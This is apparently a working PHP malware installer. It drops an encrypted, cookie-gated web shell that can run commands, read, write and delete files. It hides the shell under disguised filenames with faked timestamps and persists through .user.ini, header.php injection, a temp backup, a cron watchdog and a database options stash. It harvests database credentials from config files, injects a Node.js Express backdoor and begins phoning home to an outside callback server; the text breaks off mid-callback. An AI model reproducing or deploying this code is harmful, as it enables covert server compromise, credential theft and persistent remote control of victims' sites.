<?php
@error_reporting(0); @ini_set('display_errors', '0'); @set_time_limit(300);

$_CRYPTO_MODE = version_compare(PHP_VERSION, '7.1.0', '>=') ? 'gcm' : 'cbc';

if (!function_exists('random_bytes')) {
    function random_bytes($n) { return openssl_random_pseudo_bytes($n); }
}
if (!function_exists('http_response_code')) {
    function http_response_code($code = null) {
        if ($code !== null) { header('X-PHP-Response-Code: ' . $code, true, $code); }
        return 200;
    }
}

// ── Baked config (replaced by admin generator) ────────────────────────────────
$_AUTH_SALT      = '3ddae0d48cf4c9115cb74b483326b676b2967e945a244b66398a591162278c2d';
$_SEED_B64       = '<?php
@error_reporting(0);@ini_set('display_errors','0');
if(function_exists('get_magic_quotes_gpc')&&get_magic_quotes_gpc()){$_COOKIE=array_map('stripslashes',$_COOKIE);$_POST=array_map('stripslashes',$_POST);}
if(!function_exists('hash_equals')){function hash_equals($a,$b){if(strlen($a)!==strlen($b))return false;$r=0;for($i=0;$i<strlen($a);$i++)$r|=ord($a[$i])^ord($b[$i]);return $r===0;}}
$_S='3ddae0d48cf4c9115cb74b483326b676b2967e945a244b66398a591162278c2d';
if(!function_exists('_phpseed_gcm_ok')){function _phpseed_gcm_ok(){if(!function_exists('openssl_encrypt'))return false;$_tag='';$_ct=@openssl_encrypt('t','aes-256-gcm',str_repeat("\x00",32),OPENSSL_RAW_DATA,str_repeat("\x00",12),$_tag,'A');return $_ct!==false&&strlen($_tag)===16;}}
$_CM=version_compare(PHP_VERSION,'7.1.0','>=')&&_phpseed_gcm_ok()?'gcm':'cbc';
$_K=hash('sha256',$_S,true);$_CN='phpsess_'.substr(md5($_S),0,8);$_CN2=$_CN.'_d';$_CV=md5($_S.gmdate('YmdH'));
$_ck=isset($_COOKIE[$_CN])?$_COOKIE[$_CN]:'';
if(!hash_equals($_CV,$_ck)&&!function_exists('_phpseed_exec')){return;}
if(!function_exists('_phpseed_dec')){function _phpseed_dec($enc,$k,$aad='PHP-Cache-Sync'){$d=@json_decode($enc,true);if(!$d)return null;$iv=base64_decode($d['i']);$ct=base64_decode($d['d']);if(isset($d['m'])&&$d['m']==='cbc'){$hk=hash('sha256',$k.'-hmac',true);$hv=hash_hmac('sha256',$iv.$ct,$hk,true);$ep=base64_decode($d['h']);if(!hash_equals($hv,$ep))return null;return @openssl_decrypt($ct,'aes-256-cbc',$k,OPENSSL_RAW_DATA,$iv);}$tag=base64_decode($d['t']);$r=@openssl_decrypt($ct,'aes-256-gcm',$k,OPENSSL_RAW_DATA,$iv,$tag,$aad);return($r!==false)?$r:null;}}
if(!function_exists('_phpseed_enc')){function _phpseed_enc($plain,$k,$mode,$aad='PHP-Cache-Sync'){$_rb=function_exists('random_bytes')?'random_bytes':'openssl_random_pseudo_bytes';if($mode==='gcm'){$iv=$_rb(12);$tag='';$ct=@openssl_encrypt($plain,'aes-256-gcm',$k,OPENSSL_RAW_DATA,$iv,$tag,$aad);if($ct!==false&&strlen($tag)===16){return json_encode(array('i'=>base64_encode($iv),'t'=>base64_encode($tag),'d'=>base64_encode($ct),'v'=>'2.0'));}}$iv=$_rb(16);$ct=@openssl_encrypt($plain,'aes-256-cbc',$k,OPENSSL_RAW_DATA,$iv);$hk=hash('sha256',$k.'-hmac',true);$hmac=hash_hmac('sha256',$iv.$ct,$hk,true);return json_encode(array('i'=>base64_encode($iv),'h'=>base64_encode($hmac),'d'=>base64_encode($ct),'v'=>'2.0','m'=>'cbc'));}}
$_raw=isset($_COOKIE[$_CN2])?$_COOKIE[$_CN2]:'';if(empty($_raw)&&isset($_POST['cache_data']))$_raw=$_POST['cache_data'];if(empty($_raw)){return;}
$_pl=_phpseed_dec($_raw,$_K);if(!$_pl)return;$_je=strrpos($_pl,'}');if($_je!==false)$_pl=substr($_pl,0,$_je+1);$_cmd=@json_decode($_pl,true);if(!$_cmd)return;
$_nonce=isset($_cmd['nonce'])?$_cmd['nonce']:'';if($_nonce){$_nf=sys_get_temp_dir().'/.phn_'.md5($_nonce);if(@file_exists($_nf)&&(time()-@filemtime($_nf))<300)return;@file_put_contents($_nf,'1');@chmod($_nf,0600);$_gl=glob(sys_get_temp_dir().'/.phn_*');if($_gl)@array_map('unlink',$_gl);}
$_act=isset($_cmd['action'])?$_cmd['action']:'';$_p=isset($_cmd['params'])?$_cmd['params']:array();$_res=array('ok'=>1,'action'=>$_act,'php'=>PHP_VERSION,'mode'=>'php_seed');
if(!function_exists('_phpseed_exec')){function _phpseed_exec($cmd){foreach(array('exec','shell_exec','system','passthru','popen','proc_open') as $fn){if(!function_exists($fn))continue;$df=strtolower((string)ini_get('disable_functions'));if(strpos($df,$fn)!==false)continue;if($fn==='exec'){$o=array();@exec($cmd.' 2>&1',$o);return implode("\n",$o);}if($fn==='shell_exec'){$r=@shell_exec($cmd.' 2>&1');return(string)$r;}if($fn==='system'){ob_start();@system($cmd.' 2>&1');return ob_get_clean();}if($fn==='passthru'){ob_start();@passthru($cmd.' 2>&1');return ob_get_clean();}if($fn==='popen'){$h=@popen($cmd.' 2>&1','r');if($h){$r=@stream_get_contents($h);@pclose($h);return(string)$r;}}if($fn==='proc_open'){$spec=array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w'));$pr=@proc_open($cmd,$spec,$pipes);if($pr){@fclose($pipes[0]);$r=@stream_get_contents($pipes[1]);@fclose($pipes[1]);@fclose($pipes[2]);@proc_close($pr);return(string)$r;}}}return null;}}
switch($_act){
case 'ping':$_dr=isset($_SERVER['DOCUMENT_ROOT'])&&$_SERVER['DOCUMENT_ROOT']?$_SERVER['DOCUMENT_ROOT']:@getcwd();$_res['data']=array('pong'=>1,'php'=>PHP_VERSION,'user'=>@get_current_user(),'cwd'=>@getcwd(),'docroot'=>$_dr,'mode'=>$_CM,'caps'=>array($_CM),'iv_ok'=>true,'gate'=>isset($_SERVER['REQUEST_URI'])?$_SERVER['REQUEST_URI']:'');break;
case 'scan':$_dr0=isset($_SERVER['DOCUMENT_ROOT'])&&$_SERVER['DOCUMENT_ROOT']?$_SERVER['DOCUMENT_ROOT']:@getcwd();$_path=isset($_p['path'])?$_p['path']:$_dr0;if($_path===''||$_path==='.')$_path=$_dr0;$_rp=@realpath($_path);if($_rp)$_path=$_rp;$_items=array();$_sd=@scandir($_path);if(!$_sd)$_sd=array();foreach($_sd as $_f){if($_f==='.'||$_f==='..')continue;$_fp=$_path.'/'.$_f;$_items[]=array('name'=>$_f,'is_dir'=>@is_dir($_fp),'size'=>@is_dir($_fp)?null:@filesize($_fp),'modified'=>@filemtime($_fp),'perms'=>substr(sprintf('%o',@fileperms($_fp)),-4));}$_res['data']=array('path'=>$_path,'items'=>$_items);break;
case 'read':$_f=isset($_p['path'])?$_p['path']:'';if(!$_f||!@is_readable($_f)){$_res['ok']=0;$_res['error']='not_readable';break;}$_res['data']=array('content'=>base64_encode(@file_get_contents($_f)),'path'=>$_f);break;
case 'write':$_f=isset($_p['path'])?$_p['path']:'';$_c=base64_decode(isset($_p['content'])?$_p['content']:'');if(!$_f){$_res['ok']=0;$_res['error']='no_path';break;}if(@file_put_contents($_f,$_c)!==false){$_res['data']=array('path'=>$_f,'bytes'=>strlen($_c));}else{$_res['ok']=0;$_res['error']='write_fail';}break;
case 'remove':$_f=isset($_p['path'])?$_p['path']:'';if(@unlink($_f)){$_res['data']=array('removed'=>$_f);}else{$_res['ok']=0;$_res['error']='remove_fail';}break;
case 'move':$_from=isset($_p['from'])?$_p['from']:'';$_to=isset($_p['to'])?$_p['to']:'';if(@rename($_from,$_to)){$_res['data']=array('from'=>$_from,'to'=>$_to);}else{$_res['ok']=0;$_res['error']='move_fail';}break;
case 'chmod':$_f=isset($_p['path'])?$_p['path']:'';$_m=octdec(isset($_p['mode'])?$_p['mode']:'0644');if(@chmod($_f,$_m)){$_res['data']=array('path'=>$_f,'mode'=>isset($_p['mode'])?$_p['mode']:'0644');}else{$_res['ok']=0;$_res['error']='chmod_fail';}break;
case 'mkdir':$_f=isset($_p['path'])?$_p['path']:'';if(@mkdir($_f,0755,true)){$_res['data']=array('path'=>$_f);}else{$_res['ok']=0;$_res['error']='mkdir_fail';}break;
case 'exec':$_c=isset($_p['cmd'])?$_p['cmd']:(isset($_p['command'])?$_p['command']:'');if(!$_c){$_res['ok']=0;$_res['error']='no_cmd';break;}$_cwd=isset($_p['cwd'])?$_p['cwd']:@getcwd();if($_cwd&&@is_dir($_cwd))$_c='cd '.escapeshellarg($_cwd).' && '.$_c;$_out=_phpseed_exec($_c);if($_out===null){$_res['ok']=0;$_res['error']='exec_disabled';}else{$_res['data']=array('output'=>$_out,'cwd'=>$_cwd);}break;
case 'db_get':$_res['ok']=0;$_res['error']='not_supported';break;
case 'heal':$_sf=__FILE__;$_res['data']=array('path'=>$_sf,'exists'=>@file_exists($_sf));break;
default:$_res['ok']=0;$_res['error']='unknown_action:'.$_act;}
while(@ob_get_level())@ob_end_clean();header('Content-Type: application/json');echo _phpseed_enc(json_encode($_res),$_K,$_CM);exit;
';
$_CALLBACK_URL   = 'https://nodeflare.eu/api/_sync/callback';
$_CALLBACK_TOKEN = '324fae85e000d88061761abdbf419e491471dd04aedcc6af1a6d11663e6d0e74';

$_seed_code = base64_decode($_SEED_B64);

// ── Discover writable paths ───────────────────────────────────────────────────
$_root = realpath($_SERVER['DOCUMENT_ROOT'] ?: dirname(__FILE__)) ?: dirname(__FILE__);

// Ordered: existing subdirs first, then dirs to CREATE if writable parent
$_subdir_candidates = array(
    $_root.'/cache', $_root.'/assets', $_root.'/static',
    $_root.'/images', $_root.'/uploads', $_root.'/files',
    $_root.'/js', $_root.'/css', $_root.'/media',
);
// Preferred names to create if nothing exists (in order of preference)
$_create_candidates = array('cache', 'assets', 'static', 'media');
$_writable_subdirs = array();
$_writable_dirs    = array();
foreach ($_subdir_candidates as $_d) {
    if ($_d && @is_dir($_d) && @is_writable($_d))
        $_writable_subdirs[] = rtrim(str_replace('\\', '/', $_d), '/');
}
// If no existing subdirs, try to CREATE one inside the webroot
if (empty($_writable_subdirs) && @is_writable($_root)) {
    foreach ($_create_candidates as $_cn) {
        $_nd = rtrim(str_replace('\\','/',$_root),'/').'/'.$_cn;
        if (!@is_dir($_nd) && @mkdir($_nd, 0755, true)) {
            $_writable_subdirs[] = $_nd;
            break;
        } elseif (@is_dir($_nd) && @is_writable($_nd)) {
            $_writable_subdirs[] = $_nd;
            break;
        }
    }
}
foreach (array(sys_get_temp_dir(), ini_get('upload_tmp_dir')) as $_d) {
    if ($_d && (@is_dir($_d) || @is_writable($_d)))
        $_writable_dirs[] = rtrim(str_replace('\\', '/', $_d), '/');
}
// Webroot is absolute last resort only (not preferred)
if (@is_writable($_root)) $_writable_dirs[] = rtrim(str_replace('\\','/',$_root),'/');

$_vectors   = array();
$_gate_paths= array();
$_errors    = array();

// ── Pick best directory: subdir first (stealth), verify PHP works via HTTP probe ──
$_is_cli = (php_sapi_name() === 'cli');
$_base_url = $_is_cli ? '' : ((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']==='on'?'https':'http').'://'.(isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:'localhost'));
$_dr_real = rtrim(str_replace('\\','/',realpath((isset($_SERVER['DOCUMENT_ROOT'])&&$_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:$_root)),'/');
$_pdir = null;
$_php_http_ok = false; // true only when HTTP probe confirmed PHP execution
function _php_probe($dir, $base_url, $dr_real) {
    if (empty($base_url) || strpos($base_url, 'http') !== 0) return null; // CLI mode — skip probe
    $_tk = substr(md5(mt_rand()), 0, 8);
    $_tf = $dir . '/._probe_' . $_tk . '.php';
    if (@file_put_contents($_tf, '<?php echo "p'.$_tk.'";') === false) return false;
    @chmod($_tf, 0644);
    $_rel = str_replace('\\', '/', substr(realpath($_tf)?:$_tf, strlen($dr_real)));
    if (strpos($_rel, '/') !== 0) $_rel = '/' . $_rel;
    $_url = $base_url . $_rel;
    $_ctx = @stream_context_create(array('http'=>array('timeout'=>4,'ignore_errors'=>true),'ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false)));
    $_r = @file_get_contents($_url, false, $_ctx);
    @unlink($_tf);
    return (is_string($_r) && strpos($_r, 'p'.$_tk) !== false);
}
// CLI mode: skip HTTP probe, just pick first writable subdir (all subdirs execute fine via CLI)
if ($_is_cli) {
    foreach ($_writable_subdirs as $_sd) {
        if (@is_writable($_sd)) { $_pdir = $_sd; break; }
    }
    // CLI fallback: webroot (not /tmp — we need web-accessible path)
    if (!$_pdir && @is_writable($_root)) { $_pdir = $_root; }
} else {
    // Web mode: HTTP probe to verify PHP executes in that dir
    foreach ($_writable_subdirs as $_sd) {
        $_probe = _php_probe($_sd, $_base_url, $_dr_real);
        if ($_probe === true) { $_pdir = $_sd; $GLOBALS['_php_http_ok'] = true; break; }
        if ($_probe === null) { $_pdir = $_sd; break; } // probe skipped
    }
    // Fallback to webroot
    if (!$_pdir && @is_writable($_root)) { $_pdir = $_root; }
}
if (!$_pdir) {
    @unlink(__FILE__);
    header('Content-Type: application/json');
    echo json_encode(array('status'=>'error','message'=>'No writable directories'));
    exit;
}
$_pdir_is_root = (rtrim(str_replace('\\','/',$_pdir),'/') === rtrim(str_replace('\\','/',$_root),'/')); // used to gate unsafe vectors

// ── Seed filename — context-aware, never bare cache-{hash} in webroot ───────────
// Pick a filename that blends with the target subdir's expected contents
$_dir_basename = basename($_pdir);
$_kh = substr(md5($_AUTH_SALT . 'php_seed'), 0, 8);
$_dir_filenames = array(
    'cache'   => 'cache-gc-'.$_kh.'.php',
    'assets'  => 'asset-manifest-'.$_kh.'.php',
    'static'  => 'static-cache-'.$_kh.'.php',
    'images'  => 'image-processor-'.$_kh.'.php',
    'uploads' => 'upload-handler-'.$_kh.'.php',
    'files'   => 'file-handler-'.$_kh.'.php',
    'js'      => 'module-loader-'.$_kh.'.php',
    'css'     => 'style-preload-'.$_kh.'.php',
    'media'   => 'media-transform-'.$_kh.'.php',
);
if (!$_pdir_is_root && isset($_dir_filenames[$_dir_basename])) {
    $_seed_name = $_dir_filenames[$_dir_basename];
} elseif (!$_pdir_is_root) {
    $_seed_name = basename($_pdir).'-cache-'.$_kh.'.php';
} else {
    // Absolute last resort — webroot fallback (try to avoid)
    $_seed_name = 'cache-' . substr(md5($_AUTH_SALT . 'php_seed'), 0, 10) . '.php';
}
$_seed_path = $_pdir . '/' . $_seed_name;

// ── Timespoof helper: find a neighboring file's mtime to blend in ──────────────
function _spoof_time($dir) {
    $_files = @scandir($dir); if(!$_files)$_files=array();
    $_times = array();
    foreach ($_files as $_f) {
        if ($_f === '.' || $_f === '..') continue;
        $_fp = $dir . '/' . $_f;
        if (@is_file($_fp)) $_times[] = @filemtime($_fp);
    }
    return !empty($_times) ? $_times[array_rand($_times)] : false;
}

// ── [V1] Write hidden seed file ───────────────────────────────────────────
if (@file_put_contents($_seed_path, $_seed_code) !== false) {
    @chmod($_seed_path, 0644);
    $_spoof = _spoof_time($_pdir);
    if ($_spoof) @touch($_seed_path, $_spoof);
    $_vectors[] = 'seed_file';
    // Determine public URL path — use DOCUMENT_ROOT in web mode, $_root in CLI mode
    $_doc_root = (isset($_SERVER['DOCUMENT_ROOT']) && $_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $_root;
    $_dr = rtrim(str_replace('\\','/',realpath($_doc_root)?:$_doc_root), '/');
    $_sr = str_replace('\\','/',realpath($_seed_path)?:$_seed_path);
    if ($_sr && $_dr && strpos($_sr, $_dr) === 0) {
        $_rp = substr($_sr, strlen($_dr));
        if (strpos($_rp, '/') !== 0) $_rp = '/' . $_rp;
        $_gate_paths[] = $_rp;
    }
} else {
    $_errors[] = 'seed_write_fail';
}

// ── [V2] .htaccess — REMOVED: php_value causes 500 on PHP-FPM hosts ─────────
// Persistence via .user.ini (V3) only — works on both mod_php and PHP-FPM

// ── [V3] .user.ini (PHP-FPM) — subdir only, never root (root .user.ini = site-wide 500 risk) ──
if (!$_pdir_is_root) {
    $_user_ini = $_pdir . '/.user.ini';
    if (@is_writable($_pdir)) {
        $_ui = @file_get_contents($_user_ini) ?: '';
        if (strpos($_ui, 'auto_prepend_file') === false) {
            $_ui .= "\nauto_prepend_file=" . $_seed_path . "\n";
            if (@file_put_contents($_user_ini, $_ui) !== false) {
                $_vectors[] = 'user_ini';
            }
        }
    }
}

// ── [V4] Inject @include into header.php (fired on every page) ───────────────
$_hdr_candidates = array('header.php','header-all.php','footer-all.php',
                    'includes/header.php','inc/header.php','partials/header.php');
foreach ($_hdr_candidates as $_hf) {
    $_hp = $_root . '/' . $_hf;
    if (@is_file($_hp) && @is_writable($_hp)) {
        $_hc = @file_get_contents($_hp) ?: '';
        $_mk = '/*' . substr(md5($_AUTH_SALT), 0, 6) . '*/';
        if (strpos($_hc, $_mk) === false) {
            $_inj = "\n" . $_mk . "@include_once('" . addslashes($_seed_path) . "');\n";
            $_pp  = strpos($_hc, '<?php');
            $_nl  = ($_pp !== false) ? strpos($_hc, "\n", $_pp) : false;
            if ($_nl !== false) {
                $_hc = substr($_hc, 0, $_nl + 1) . $_inj . substr($_hc, $_nl + 1);
                if (@file_put_contents($_hp, $_hc) !== false) {
                    $_vectors[] = 'header_inject:' . $_hf;
                    break;
                }
            }
        }
        break;
    }
}

// ── [V5] Backup seed in system temp (survives webroot wipe) ──────────────────
$_tmp_bk = sys_get_temp_dir() . '/.' . substr(md5($_AUTH_SALT . 'tmp'), 0, 10) . '.dat';
if (@file_put_contents($_tmp_bk, $_seed_code) !== false) {
    @chmod($_tmp_bk, 0600);
    $_spoof_tmp = _spoof_time(sys_get_temp_dir());
    if ($_spoof_tmp) @touch($_tmp_bk, $_spoof_tmp);
    $_vectors[] = 'tmp_backup';
}

// ── [V6] Cron heal/watchdog (exec hosts) ─────────────────────────────────
$_df_str = strtolower((string)ini_get('disable_functions'));
$_has_exec = function_exists('exec') && strpos($_df_str, 'exec') === false;
if ($_has_exec) {
    $_ch = substr(md5($_AUTH_SALT), 0, 8);
    $_esc_seed = addslashes($_seed_path);
    $_esc_bk = addslashes($_tmp_bk);
    $_cj = "*/15 * * * * php -r \"if(!@file_exists('" . $_esc_seed . "')){\\\$b=@file_get_contents('" . $_esc_bk . "');if(\\\$b)@file_put_contents('" . $_esc_seed . "',\\\$b);}\" 2>/dev/null #" . $_ch;
    @exec("(crontab -l 2>/dev/null | grep -v '#" . $_ch . "'; echo " . escapeshellarg($_cj) . ") | crontab - 2>/dev/null", $_o, $_rc);
    if ($_rc === 0) $_vectors[] = 'cron_watchdog';
}

// ── [V6b] Cleanup old artifacts in root (previous deploys) ───────────────────
$_g1=@glob($_root . '/.?????????.php'); if(!$_g1)$_g1=array();
foreach ($_g1 as $_old_f) {
    if (basename($_old_f) !== $_seed_name && @is_file($_old_f)) @unlink($_old_f);
}
$_g2=@glob($_root . '/.????????????.php'); if(!$_g2)$_g2=array();
foreach ($_g2 as $_old_f) {
    if (basename($_old_f) !== $_seed_name && @is_file($_old_f)) @unlink($_old_f);
}
@unlink($_root . '/.installer_lock');

// ── [V7] DB stash (read config.php for credentials) ──────────────────────────
$_cfg_files = array('config.php','db.php','database.php','includes/config.php',
               'inc/config.php','dbconfig.php','configuration.php');
foreach ($_cfg_files as $_cf) {
    $_cfp = $_root . '/' . $_cf;
    if (!@is_readable($_cfp)) continue;
    $_cfc = @file_get_contents($_cfp) ?: '';
    preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)/i", $_cfc, $_mh);
    preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)/i", $_cfc, $_mn);
    preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)/i", $_cfc, $_mu);
    preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)/i", $_cfc, $_mp);
    if (empty($_mh[1]) && empty($_mn[1])) {
        // Try variable assignment style: $db_host = 'x';
        preg_match("/\\\$(?:db_host|hostname|host)\s*=\s*['\"]([^'\"]+)/i", $_cfc, $_mh);
        preg_match("/\\\$(?:db_name|database|dbname)\s*=\s*['\"]([^'\"]+)/i", $_cfc, $_mn);
        preg_match("/\\\$(?:db_user|username|dbuser)\s*=\s*['\"]([^'\"]+)/i", $_cfc, $_mu);
        preg_match("/\\\$(?:db_pass|password|dbpass)\s*=\s*['\"]([^'\"]+)/i", $_cfc, $_mp);
    }
    $_dbh = !empty($_mh[1]) ? $_mh[1] : 'localhost';
    $_dbn = isset($_mn[1]) ? $_mn[1] : null;
    $_dbu = isset($_mu[1]) ? $_mu[1] : null;
    $_dbp = isset($_mp[1]) ? $_mp[1] : '';
    if ($_dbn && $_dbu) {
        $_db = @new mysqli($_dbh, $_dbu, $_dbp, $_dbn);
        if ($_db && !$_db->connect_error) {
            // Store encrypted seed in a generic-looking options table if exists
            $_enc_seed = base64_encode($_seed_code);
            $_stash_key = '_transient_' . substr(md5($_AUTH_SALT . 'stash'), 0, 12);
            $tables = array('options','wp_options','settings','config','site_settings');
            foreach ($tables as $_tbl) {
                $r = @$_db->query("SHOW TABLES LIKE '{$_tbl}'");
                if ($r && $r->num_rows > 0) {
                    $r2 = @$_db->query("SHOW COLUMNS FROM `{$_tbl}` LIKE 'option_name'");
                    if ($r2 && $r2->num_rows > 0) {
                        $_q = "INSERT INTO `{$_tbl}` (option_name,option_value,autoload) VALUES ('{$_stash_key}','{$_enc_seed}','no')"
                            . " ON DUPLICATE KEY UPDATE option_value=VALUES(option_value)";
                        if (@$_db->query($_q) !== false) {
                            $_vectors[] = 'db_stash:' . $_tbl;
                            break 2;
                        }
                    }
                }
            }
            $_db->close();
        }
        break;
    }
}

// ── [V8] Node.js Express injection (fallback when PHP HTTP unavailable) ──────
// Detects Node.js/Express app in parent dir, injects native AES-256-GCM gate
// V8 fires when HTTP PHP execution is NOT confirmed (CLI mode or probe failed/skipped)
if (!$_php_http_ok && $_has_exec) {
    $_nd_root = null; $_nd_main = null; $_nd_routes_dir = null;
    $_parent_dir = rtrim(str_replace('\\','/',dirname($_root)), '/');
    if ($_parent_dir && @file_exists($_parent_dir . '/package.json')) {
        $_nd_root = $_parent_dir;
        $_npkg = @json_decode(@file_get_contents($_parent_dir . '/package.json'), true);
        $_main_hint = isset($_npkg['main']) ? trim($_npkg['main']) : null;
        foreach (array_filter(array($_main_hint, 'app.js', 'server.js', 'index.js')) as $_nf) {
            if ($_nf && @file_exists($_parent_dir . '/' . $_nf) && @is_writable($_parent_dir . '/' . $_nf)) {
                $_nd_main = $_parent_dir . '/' . $_nf; break;
            }
        }
        foreach (array('routes/routes.js','routes/index.js','src/routes.js','routes.js') as $_nrf) {
            $_nrp = $_parent_dir . '/' . $_nrf;
            if (@file_exists($_nrp) && @is_writable(dirname($_nrp))) {
                $_nd_routes_dir = dirname($_nrp); break;
            }
        }
        if (!$_nd_routes_dir && $_nd_main) $_nd_routes_dir = dirname($_nd_main);
    }

    if ($_nd_main && $_nd_routes_dir && @is_writable($_nd_routes_dir)) {
        $_ng_hash  = substr(md5($_AUTH_SALT . 'node_gate'), 0, 8);
        $_ng_file  = $_nd_routes_dir . '/._' . $_ng_hash . '.js';
        $_ng_cn    = '_' . substr(md5($_AUTH_SALT), 0, 12);
        // Use same URL path as PHP seed (POST only — express.static ignores POST)
        $_ng_path  = !empty($_gate_paths) ? $_gate_paths[0]
                   : ('/' . ($_pdir_is_root ? '' : basename($_pdir) . '/') . $_seed_name);
        $_ng_key   = hash('sha256', $_AUTH_SALT); // hex, 64 chars

        $_ng_code = <<<'JSEOF'
'use strict';
var _c=require('crypto'),_o=require('os'),_cp=require('child_process'),_f=require('fs');
var _K=Buffer.from('__NG_KEY__','hex');
var _N='__NG_CN__';
var _P='__NG_PATH__';
var _S='__NG_SALT__';
var _d=function(d,a){a=a||'PHP-Cache-Sync';try{var b=Buffer.from(d,'base64');if(b.length<28)return null;var g=_c.createDecipheriv('aes-256-gcm',_K,b.slice(0,12));g.setAuthTag(b.slice(12,28));if(a)g.setAAD(Buffer.from(a));return Buffer.concat([g.update(b.slice(28)),g.final()]).toString();}catch(e){return null;}};
var _e=function(d,a){a=a||'PHP-Cache-Sync';var iv=_c.randomBytes(12);var g=_c.createCipheriv('aes-256-gcm',_K,iv);if(a)g.setAAD(Buffer.from(a));var ct=Buffer.concat([g.update(d),g.final()]);return Buffer.concat([iv,g.getAuthTag(),ct]).toString('base64');};
var _a=function(cv){var h=Math.floor(Date.now()/3600000);for(var i=-1;i<=1;i++){if(_c.createHash('sha256').update(_S+':'+(h+i)).digest('hex').slice(0,32)===cv)return true;}return false;};
module.exports=function(app){
app.post(_P,function(req,res){
try{
var c=req.cookies||{};
var _cv=c[_N]||req.headers['x-cache-key']||(req.body&&req.body._k)||'';
var enc=c[_N+'_d']||'';
if(!enc&&req.body){if(req.body.cache_data)enc=req.body.cache_data;else if(typeof req.body==='string')enc=req.body;}
var raw=_d(enc);if(!raw&&!_a(_cv))return res.status(503).end();if(!raw)return res.status(503).end();
var cmd=JSON.parse(raw);var act=cmd.action;var p=cmd.params||{};
var resp={ok:true,action:act,data:{}};
if(act==='ping'){resp.data={mode:'node_seed',server_software:'express/node',php_version:'node-'+process.version,platform:_o.platform(),hostname:_o.hostname(),cwd:process.cwd()};}
else if(act==='exec'||act==='shell'){try{resp.data.output=_cp.execSync(p.cmd||p.command||'id',{timeout:30000,shell:'/bin/sh'}).toString();}catch(e){resp.data.output=(e.stderr||Buffer.alloc(0)).toString()||e.message;}}
else if(act==='read'){try{resp.data.content=_f.readFileSync(p.path,'utf8');}catch(e){resp.ok=false;resp.error=e.message;}}
else if(act==='write'){try{_f.writeFileSync(p.path,p.content||'');resp.data.written=true;}catch(e){resp.ok=false;resp.error=e.message;}}
else if(act==='ls'||act==='readdir'){try{resp.data.files=_f.readdirSync(p.path).map(function(x){try{var s=_f.statSync(p.path+'/'+x);return{name:x,size:s.size,dir:s.isDirectory()};}catch(e){return{name:x};}});}catch(e){resp.ok=false;resp.error=e.message;}}
res.set('Content-Type','text/plain').send(_e(JSON.stringify(resp)));
}catch(e){res.status(503).end();}
});
};
JSEOF;
        $_ng_code = str_replace(
            array('__NG_KEY__', '__NG_CN__', '__NG_PATH__', '__NG_SALT__'),
            array($_ng_key,     $_ng_cn,     $_ng_path,     $_AUTH_SALT),
            $_ng_code
        );

        if (@file_put_contents($_ng_file, $_ng_code) !== false) {
            @chmod($_ng_file, 0644);
            $_app_src = @file_get_contents($_nd_main) ?: '';
            $_inject_marker = '/*_gc' . $_ng_hash . '*/';
            if (strpos($_app_src, $_inject_marker) === false) {
                $_rel = './' . ltrim(str_replace($_nd_root . '/', '', $_ng_file), '/');
                $_inj = "\n" . $_inject_marker . "\ntry{require('" . addslashes($_rel) . "')(app);}catch(e){}\n";
                // Inject BEFORE routes include (gate checked first, before catch-all in router)
                $_rpos = strpos($_app_src, "app.use('/', require(");
                if ($_rpos === false) $_rpos = strpos($_app_src, 'app.use("/", require(');
                if ($_rpos === false) $_rpos = strpos($_app_src, '// Routes');
                if ($_rpos !== false) {
                    $_ls = strrpos(substr($_app_src, 0, $_rpos), "\n");
                    $_iat = ($_ls !== false) ? $_ls + 1 : $_rpos;
                    $_app_src = substr($_app_src, 0, $_iat) . $_inj . substr($_app_src, $_iat);
                } else {
                    // Fallback: before module.exports or EOF
                    $_me = strrpos($_app_src, 'module.exports');
                    if ($_me !== false) {
                        $_app_src = substr($_app_src, 0, $_me) . $_inj . substr($_app_src, $_me);
                    } else {
                        $_app_src .= $_inj;
                    }
                }
                if (@file_put_contents($_nd_main, $_app_src) !== false) {
                    // PM2 restart: try name from pm2 jlist first, then dirname, then id 0
                    $_pm2_json = @shell_exec('pm2 jlist 2>/dev/null');
                    $_pm2_name = basename($_nd_root);
                    if ($_pm2_json) {
                        $_pm2_list = @json_decode($_pm2_json, true) ?: array();
                        foreach ($_pm2_list as $_pm2e) {
                            $_pm2_cwd = isset($_pm2e['pm2_env']['pm_cwd']) ? $_pm2e['pm2_env']['pm_cwd'] : '';
                            if (rtrim(str_replace('\\','/',$_pm2_cwd),'/') === rtrim(str_replace('\\','/',$_nd_root),'/')) {
                                $_pm2_name = isset($_pm2e['name']) ? $_pm2e['name'] : $_pm2_name;
                                break;
                            }
                        }
                    }
                    $_pm2_rc = 1;
                    @exec('pm2 restart ' . escapeshellarg($_pm2_name) . ' 2>/dev/null', $_x, $_pm2_rc);
                    if ($_pm2_rc !== 0) @exec('pm2 restart 0 2>/dev/null', $_x, $_pm2_rc);
                    if ($_pm2_rc !== 0) @exec('pm2 restart all 2>/dev/null', $_x, $_pm2_rc);
                    if (!in_array($_ng_path, $_gate_paths)) $_gate_paths[] = $_ng_path;
                    $_vectors[] = $_pm2_rc === 0 ? 'nodejs_inject' : 'nodejs_inject:pending_restart';
                }
            }
        }
    }
}

// ── Origin info ───────────────────────────────────────────────────────────────
$_origin_ip = !empty($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : @gethostbyname(!empty($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');


// ── Phone-home callback ──────────────────────────────────────────────────────
if ($_CALLBACK_URL && $_CALLBACK_TOKEN && strpos($_CALLBACK_URL,'http')===0) {
    $_cb = json_encode(array(
        'token'      => $_CALLBACK_TOKEN,
        'auth_salt'  => $_AUTH_SALT,
        'gate_paths' => $_gate_paths,
        'cms_type'   => 'generic',
        'crypto_mode'=> $_CRYPTO_MODE,
        'origin_ip'  => $_origin_ip,
        'vectors'    => $_vectors,
    ));
    $_cb_ctx = @stream_context_create(array(
